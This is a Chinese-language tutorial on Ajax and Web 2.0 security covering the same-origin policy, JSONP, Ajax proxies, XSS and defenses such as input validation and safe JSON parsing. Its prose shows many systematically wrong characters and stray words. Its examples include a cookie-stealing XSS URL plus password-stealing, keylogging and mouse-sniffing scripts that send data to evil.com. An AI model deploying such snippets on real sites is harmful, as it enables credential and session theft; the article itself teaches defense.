Ajax 构建于动态 HTML(DHTML)技术之上,其中包括以下这些最多见的技术:javascript
在 Ajax 中,客户端 JavaScript 经过动态地修改 DOM 树和样式表来更新 Web 页面。此外,异步通讯(能够经过下面介绍的技术实现)容许动态地更新数据,而无需从新加载整个 Web 页面:css
XMLHttpRequest
:XMLHttpRequest
是一个 API,它容许客户端的 JavaScript 与远程服务器创建 HTTP 链接和交换数据,好比说纯文本、XML 和 JSON(JavaScript Serialized Object Notation)。注意,Ajax 应用程序中还有一些其余经常使用的格式能够替代 JSON,好比说 XML 和无格式的纯文本。此处咱们选择讨论 JSON,其缘由在于它具备一些隐藏的安全问题,稍后咱们将在文章中对其进行研究。html
建议对 Ajax 还不熟悉的读者先阅读 参考资料 中的文章。java
当来自多个始发源的内容以某种方式被集成到一个单一的应用程序中时,一些内容相互之间可能具备不一样的信任级别,或者它们可能根本没有必要相互信任。这样天然而然会产生某种需求,即把来自不一样始发者的内容分离开来,把它们之间的冲突减至最少。ajax
同源策略是当前浏览器的保护机制的一部分,该机制未来自不一样域(假设域表明的是始发者)的 Web 应用程序分离开来。也就是说,若是多个窗口或框架中的一些应用程序是从不一样的服务器下载的,那么它们没法相互访问数据和脚本。注意,同源策略只能应用于 HTML 文档。经过 <script src="..." >
标记导入 HTML 文档的 JavaScript 文件被认为是该 HTML 文档的同源的一部分。该策略在全部主要浏览器实现中都有执行。正则表达式
在 XMLHttpRequest
的上下文中,同源策略的目的是控制应用程序与远程服务器的交互。然而,同源策略对 Web 2.0 应用程序的影响力比较有限,这有以下几个缘由:编程
document.domain
属性重写为 abc.com 或者就是 com(在 Firefox 中)。大多数最新的浏览器只容许访问已经把它们的 document.domain
属性重写为相同值的窗口或框架中的窗口对象。然而,一些版本比较老的浏览器容许与 document.domain
属性中指定的域创建 XMLHttpRequest
链接。
因为 JSON 只是一种含有简单括号结构的纯文本,所以许多通道均可以交换 JSON 消息。由于同源策略的限制,咱们不能在与外部服务器进行通讯的时候使用 XMLHttpRequest
。JSONP(JSON with Padding)是一种能够绕过同源策略的方法,即经过使用 JSON 与 <script>
标记相结合的方法,如 清单 1 所示。跨域
<script type="text/javascript" src="http://travel.com/findItinerary?username=sachiko& reservationNum=1234&output=json&callback=showItinerary" />
当 JavaScript 代码动态地插入 <script>
标记时,浏览器会访问 src
属性中的 URL。这样会致使将查询字符串中的信息发送给服务器。在 清单 1 中,所传递的是 username
和 reservation
做为名称值对传递。此外,查询字符串还包含向服务器请求的输出格式和回调函数的名称(即 showItinerary
)。<script>
标记加载后,会执行回调函数,并经过回调函数的参数把从服务返回的信息传递给该回调函数。
Ajax 代理是一种应用级代理服务器,用于调解 Web 浏览器和服务器之间的 HTTP 请求和响应。Ajax 代理容许 Web 浏览器绕过同源策略,这样即可以使用 XMLHttpRequest
访问第三方服务器。要实现这种绕过,有以下两种方法可供选择:
Greasemonkey 是一个 Firefox 扩展,它容许用户动态地对 Web 页面的样式和内容进行修改。Greasemonkey 用户能够把用户脚本(user script) 文件与一个 URL 集合创建关联。当浏览器经过该 URL 集合加载页面时,便会执行这些脚本。Greasemonkey 为用户脚本的 API 提供了额外的许可(与运行在浏览器沙盒中的脚本的许可相比较)。
GM_XMLHttpRequest
是其中的一个 API,它从本质上说就是一个不具备同源策略的 XMLHttpRequest
。用户脚本能够将浏览的内置 XMLHttpRequest
替代为 GM_XMLHttpRequest
,从而许可 XMLHttpRequest
执行跨域访问。
GM_XMLHttpRequest
的使用只能经过用户赞成的途径才能受到保护。也就是说,Greasemonkey 只有在创建新用户脚本与特定 URL 的集合之间的关联时才会要求用户配置。然而,不难想象一些用户可能会被欺骗,在没有彻底理解其后果时就接受该安装。
不只开发人员在避免同源策略时会向恶意用户露出攻击面,当恶意代码被插入 Web 应用程序中时当前的应用程序也易于受到攻击。遗憾的是,恶意代码进入 Web 应用程序的方法多种多样。咱们将简要讨论其中两种可能的途径,这对于 Web 2.0 的下上文来讲也日渐相关。
跨站脚本(Cross-site scripting,XSS)
XSS 是一种很常见的攻击手段,在该攻击中攻击者将一个恶意代码段注入到一个运行良好的站点中。XSS 攻击有以下两种基本的类型:
reflected XSS 攻击利用了 Web 应用程序安全性低的弱点,该应用程序在浏览器中显示输入参数而不对其中是否存在活动内容进行检查。一般,攻击者会诱使受害者单击 URL,如 清单 2 所示。
清单 2. reflected XSS 攻击的一个示例 URL
http://trusted.com/search?keyword=<script> document.images[0].src="http://evil.com/steal?cookie=" + document.cookie; </script>
假设 trusted.com 提供了一个服务,该服务具备一个搜索特性能把搜索结果和输入的关键字一块儿提交回来。若是搜索应用程序没有过滤 URL 中的一些特殊字符(如小于号 (<) 和大于号 (>)),则 <script>
标记也将被插入到用户 Web 页面中,这样将会把文档的 cookie 发送给远程服务器 evil.com。
随着 Web 2.0 的普及 stored XSS 攻击愈来愈严重。Web 2.0 成功的关键是大众之间的共享、交互和协做,所以用户有更多的机会能够经过一些服务(好比说社会网络服务(social network services,SNS)、wiki 或 blog)看到其余用户(具备潜在恶意性)的输入。
无论怎样,输入值验证和数据消毒(sanitation)是防止 XSS 攻击的关键因素。一般,Web 服务器从用户输入中移除脚本,可是攻击者常常会利用服务器的弱点绕过这些过滤器,从而形成一些重大的攻击,好比说 Yamanner 或 MySpaceIn 蠕虫。
mashup 应用程序是一种 Web 应用程序,它能够把来自多个来源的内容和服务结合到一个集成的用户体验中。一般,mashup 应用程序会形成一个单一的客户端应用程序,所以 mashup 中的不一样部分能够经过一些浏览器资源(好比说 DOM 树或浏览器窗口工具)来进行信息共享和交互。当 mashup 中的某些部分是出于恶意目的编写的(或者被攻击了),它能够将恶意代码注入到应用程序中。这样会致使各类类型的攻击(相似于 XSS),包括盗取用户的敏感信息。
咱们已经知道攻击者是如何将代码注入应用程序的,接下来再看看一些常见攻击所带来的影响。
对于攻击者而言,最直接的受益就是得到用户的敏感信息,好比说用户密码或 cookies。由于注入脚本能够访问 DOM 树的任何部分,因此它们能够从登陆表单的文本字段中窃取密码信息。例如,清单 3 中展现的代码可以窃取信息并将其发送到某个攻击者的服务器。
function stealpw(){ var pw = document.getElementById("password").value; document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw; } document.getElementById("button").onclick = stealpw;
在本例中,攻击者须要等待一段时间,直到用户单击提交按钮以后才能接收到他的数据。Ajax 使攻击者的工做更加简单,这是由于它容许攻击者向远程服务发送任意信息,而不用等待利用用户的动做,好比说点击一个按钮或单击一个连接。这种类型的通讯量 一般会被视为可疑行为,可是因为 Ajax 具备异步性,因此这种通讯量经常不会被检测到。
使用相似的方法,攻击者还可以窃取敏感 Web 应用程序中的文档 cookies(好比说在线金融应用程序)。文档 cookies 能够容许攻击者劫持会话或使用所窃取的凭证进行登陆。
注意,Microsoft® Internet Explorer® 6 或更高版本对 HttpOnly
cookies 提供了支持,这样能够防止客户端脚本访问文档 cookies。然而,因为大多数 Web 应用程序都不能依赖浏览器来实现,因此这种方法也无济于事。
清单 4 展现了一个简单的键盘记录工具示例,该工具窃取 Web 页面中的键盘事件并将它们发送给远程服务器。键盘记录工具容许攻击者劫持任何用户输入;好比说,若是某个用户在使用一个基于 Web 的电子邮件服务,那么键盘记录工具将记录下任何文本输入并将其发送给攻击者。而后,攻击者可以经过分析记录数据检索出凭证信息,好比说密码和凭证信息。
function keylogger(e){ document.images[0].src = "http://evil.com/logger?key=" + e.keyCode; }; document.body.addEventListener("keyup", keylogger, false);
软键盘是防止键盘记录工具窃取敏感输入信息(好比说用于在线金融服务的登陆 PIN 码)的一个经常使用技巧。然而,鼠标嗅探器可使用相似于键盘记录工具所使用的技巧。经过窃取鼠标事件的 X 和 Y 坐标,推算出鼠标在软键盘上所点击的键也是有可能的。清单 5 演示了一个简单的鼠标嗅探器的示例。
function sniffer(e){ document.images[0].src= "http://evil.com/imgs/sniffer?x=" + e.clientX + "&y=" + e.clientY; }; document.body.addEventListener("mouseup", sniffer, false);
使用 DOM 接口,攻击者可以修改 DOM 树中的任何信息。好比说,当某个用户正在进行在线转账操做时,攻击者把目标账户修改成属于他本身的账户也是可行的。其结果是,转账的金额将被存入攻击者的账户中。
在另外一种攻击类型中,攻击者可能会修改样式表,把信息隐藏起来不让用户发现。好比说,假设某个 Web 页面包含有一个警告消息,如 清单 6 所示。
... <style type="text/css"> #warning { color: red } </style> ... <div id="warning">The links in this page may refer to potentially malicious Web pages, so be careful. </div> ...
攻击者可能会修改样式表,消除警告。好比说,清单 7 中展现的 JavaScript 代码修改了警告的样式,使它在白色的背景中不可见。
var e = document.getElementById("warning"); e.style.color= "white";
咱们对攻击有可能的实现和其所带来的后果有了基本的了解,接下来再看看一些技巧,并应用这些技巧改善 Ajax 应用程序的安全性。
正如咱们在 XSS 示例中所看到的,大多数的攻击都利用了服务器端的弱点,注入恶意脚本。所以,要保护 Web 应用程序,第一步须要添加输入验证。输入验证和数据消毒会从不可信的输入中过滤掉全部可能的活动或恶意的内容。
输入验证的两种类型:
不能把黑名单或白名单做为一种绝对安全的解决方案。可是,人们一般认为白名单是更加安全的选择。所以,推荐您使用白名单来清除具备潜在危险性的输入。
对发送给浏览器并在其上显示的字符串中的特殊字符(好比说把小于号 (<) 换成 "<")进行转义是加强安全性的另外一种方法。有些程序语言提供了一些内置的函数用于转义特殊字符。
因为应用程序中的程序错误都比较相似,所以许多 Web 应用程序都易于受到攻击。因此,安全专家开发了一些工具,用于检测这些不安全的编程实践。此类工具称为漏洞检查工具,它们能预先检测出潜在的漏洞。这些工 具检测出的最多见的漏洞之一就是程序员忘记对潜在的恶意输入调用消毒例程。
可使用若干种方法在 JavaScript 程序中动态地生成代码。最著名的函数之一就是 eval()
函数,该函数容许您将任意字符串作为 JavaScript 代码执行。然而,肆无忌惮地使用该函数是很是危险的。遗憾的是,一些使用普遍的 JavaScript 库在内部直接使用 eval()
函数。
因为 JSON 是以 JavaScript 的一个子集为基础的,因此脚本内容会潜在地包含恶意代码。然而,JSON 是 JavaScript 的一个安全的子集,不含有赋值和调用。所以,许多 JavaScript 库使用 eval()
函数将 JSON 转换成 JavaScript 对象。要利用这点,攻击者能够向这些库发送畸形的 JSON 对象,这样 eval()
函数就会执行这些恶意代码。能够采起一些方法来保护 JSON 的使用。第一个方法是使用 RFC 4627 中所定义的正则表达式确保 JSON 数据中不包含活动的部分。清单 8 演示了如何使用正则表达式检查 JSON 字符串。
var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test( text.replace(/"(\\.|[^"\\])*"/g, ' '))) && eval('(' + text + ')');
另外一种更具安全性的方法是使用 JSON 解析器对 JSON 进行解析。因为 JSON 的语法至关的简单,您能够轻易地实现这种解析器,而不会带来显著的性能差别。
您能够利用同源策略使攻击者没法轻易地访问整个 DOM 树。当您把不一样域中的数据加载到一个 <iframe>
中时,应该给予该数据一个属于本身的 JavaScript 执行上下文和 DOM 树。这样能够防止攻击者从主页面中窃取信息。尽量多地 <iframe>
限制不可信的外部内容是一个良好的实践。
在这篇文章中,咱们概述了在 Web 2.0 应用程序中避免同源策略的各类不一样的方法。咱们还演示了这些方法如何在 Web 应用程序中公开一些新的攻击点。咱们讨论了一些常见的攻击类型和这些攻击所带来的后果。最后,咱们在简短的最佳实践部分中对文章进行了总结,使用这些最佳 实践能够避免一些最多见的攻击。